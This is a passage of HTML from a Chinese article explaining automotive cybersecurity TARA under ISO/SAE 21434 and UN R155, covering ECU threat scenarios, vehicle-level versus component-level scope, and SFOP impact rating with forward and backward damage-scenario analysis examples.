style="box-sizing: border-box;font-weight: bold;"><span leaf="">Tampering</span></strong><p><span leaf="">攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Spoofing</span></strong><p><span leaf="">攻击者伪造【ECU1】与服务器的身份验证，导致【ECU1】通信身份验证机制的真实性遭到破坏</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Denial of Service</span></strong><p><span leaf="">攻击者干扰【ECU1】的CAN通信，导致【ECU1】通信通道的可用性被破坏</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">注意</span></strong><span leaf="">：UN R155 附录5列出了67个参考威胁场景作为法规基准，OEM必须逐一评估这些场景的适用性（适用就分析，不适用需要提供技术理由）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">零部件级TARA主要识别组件内部威胁场景（包括内部数据流、存储、功能及暴露接口的威胁），可以考虑外部接口（如CAN、Ethernet等）被直接攻击的风险，但不需要负责这些接口在整车集成后与其他组件交互产生的新威胁（这些属于整车级责任）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">整车级TARA需额外考虑集成引入的新场景，例如：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">从娱乐域（IVI）穿越到动力域的攻击</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">网关路由规则漏洞导致的域隔离失效</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">多个ECU协同形成的攻击链（单个ECU看来正常，组合后产生高风险）</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这样能确保风险覆盖完整，而且还符合OEM对整车网络安全的最终责任要求，TARA输出示例：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031739" alt="image" class="rich_pages wxw-img" data-ratio="0.5314814814814814" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f5f54417&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzg1J9CU6DWPdtFDNXpcicXUWgTTNm2npy32KJeWuDxibbnjN3pUxfzyPQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 16px;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">三、影响评级（Impact rating）</span></strong></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">影响评级用于评估威胁场景实现后可能造成的潜在损害，即通过损害场景分析量化后果严重程度，该步骤的核心输出是每个威胁场景在Safety（安全）、Financial（财务）、Operational（操作）、Privacy（隐私）四个维度上的独立评级（RQ-15-04 SFOP框架，SFOP是对同一损害场景从不同视角进行的严重度评估，而非产生多个独立损害场景），评级等级通常为Negligible（可忽略不计）、Moderate（中等）、Major（主要）、Severe（严重）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031743" alt="image" class="rich_pages wxw-img" data-ratio="0.4888888888888889" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3cae8655&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzNmxSdPRrzITib37DpNKUiaKZFa1eWgFZ1wRYtlZKfYZKQGnWXSpBUU0g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">损害场景是指威胁场景成功后，对车辆、用户或相关方造成的技术层面直接不良后果（例如“刹车系统失效”“车辆关键功能瘫痪”），21434建议损害场景包含以下要素（RQ-15-01 NOTE 1）：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">Item功能与不良后果之间的关系</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">对道路使用者的伤害描述</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">相关资产</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">示例</span></strong><span leaf="">：威胁场景“攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏”，该威胁场景的损害场景是：“篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险”，对应的SFOP评级（对该损害场景的多维度评估）：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Safety = Severe</span></strong><p><span leaf="">（可能造成人员重伤或死亡）</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Financial = Major</span></strong><p><span leaf="">（医疗费用、维修或替代交通成本显著增加）</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Operational = Major</span></strong><p><span leaf="">（车辆关键功能瘫痪）</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Privacy = Negligible</span></strong><p><span leaf="">（无直接隐私数据泄露）</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果损害场景对某个维度的影响足够严重，则可优先聚焦该维度，其他维度作为辅助参考，比如上面的例子，综合影响评级为“Severe”，也就是取最高值（PM-15-07）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">注意：</span></strong><span leaf="">整车级影响往往高于零部件级：同一威胁在零部件级可能仅影响局部功能（Operational=Moderate），但在整车集成后可能放大为安全风险（Safety=Severe），所以评级时需要有依据需提供评级准则（CFG，参考21434附录F）和会议纪要（功能安全评估，功能或零部件受到损害时，会不会影响车辆行驶）作为证据</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过详细的损害场景分析和多维度评级，能为后续风险确定提供客观基础，确保高严重度风险得到优先缓解，而且在实践中，可以采用两种分析方向（从损害场景倒推威胁场景、从威胁场景正向扩展损害场景）结合的迭代方式，既能快速聚焦高风险，又能确保覆盖全面，避免单纯依赖经验导致遗漏其他场景</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031747" alt="image" class="rich_pages wxw-img" data-ratio="0.3712962962962963" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb5960a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzUia4kV8PbhSZHpzhicq3NbTWVUFnW1dXia8eCEuA1HhHn5XZo62mZJIAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">示例：</span></strong></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">正向分析（从威胁场景扩展损害场景）</span></strong></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从已知的威胁场景出发，正向推导其成功后可能造成的损害后果：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">威胁场景</span></strong><p><span leaf="">攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏。</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">扩展损害场景</span></strong><p><span leaf="">篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">倒推分析（从损害场景倒推威胁场景）</span></strong></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从损害场景出发，倒推可能导致该损害的威胁场景：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">损害场景：</span></strong><p><span leaf="">篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险</span><span leaf=""><br/></span><span leaf="">o </span><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">威胁场景1</span></strong><span leaf="">：攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性被破坏</span><span leaf=""><br/></span><span leaf="">o </span><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">威胁场景2</span></strong><span leaf="">：攻击者伪造合法更新服务器身份，使【ECU1】接受来源不可信的更新包，导致【ECU1】的真实性被破坏</span><span leaf=""><br/></span><span leaf="">o …</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">需要说明的是，每项资产可能有多个网络安全属性，每个属性可能对应一个或多个损害场景，每个损害场景可能对应多个威胁场景，每个威胁场景也可能导致多个损害场景（RQ-15-03 NOTE 3）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, 